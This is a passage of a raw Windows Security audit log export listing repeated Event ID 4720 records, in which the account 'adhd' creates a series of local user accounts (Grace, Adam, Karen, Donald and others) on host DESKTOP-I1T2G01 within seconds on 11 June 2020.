Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.8846947Z'/><EventRecordID>4285</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Grace</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1040</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Grace</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Grace - adhd - - - 4720 - 4279 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.8016107Z'/><EventRecordID>4279</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Adam</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1039</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Adam</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Adam - adhd - - - 4720 - 4273 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.6970281Z'/><EventRecordID>4273</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Karen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1038</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Karen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Karen - adhd - - - 4720 - 4267 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.6235587Z'/><EventRecordID>4267</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Donald</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1037</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Donald</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Donald - adhd - - - 4720 - 4261 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.5309372Z'/><EventRecordID>4261</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Anthony</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1036</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Anthony</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Anthony - adhd - - - 4720 - 4255 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.4405131Z'/><EventRecordID>4255</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jean</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1035</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jean</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jean - adhd - - - 4720 - 4249 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.3414613Z'/><EventRecordID>4249</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Keith</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1034</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Keith</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Keith - adhd - - - 4720 - 4243 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.0018302Z'/><EventRecordID>4243</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ruth</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1033</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ruth</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ruth - adhd - - - 4720 - 4237 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.9184487Z'/><EventRecordID>4237</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Harold</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1032</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Harold</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Harold - adhd - - - 4720 - 4231 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.8085751Z'/><EventRecordID>4231</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jose</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1031</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jose</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jose - adhd - - - 4720 - 4225 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.7258133Z'/><EventRecordID>4225</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sara</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1030</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sara</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sara - adhd - - - 4720 - 4219 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.6284189Z'/><EventRecordID>4219</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Timothy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1029</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Timothy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Timothy - adhd - - - 4720 - 4213 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.5528707Z'/><EventRecordID>4213</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ashley</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1028</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ashley</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ashley - adhd - - - 4720 - 4207 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.4822311Z'/><EventRecordID>4207</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ronald</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1027</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ronald</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ronald - adhd - - - 4720 - 4201 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.3928860Z'/><EventRecordID>4201</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Steven</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1026</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Steven</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Steven - adhd - - - 4720 - 4195 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.3100051Z'/><EventRecordID>4195</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jacob</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1025</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data 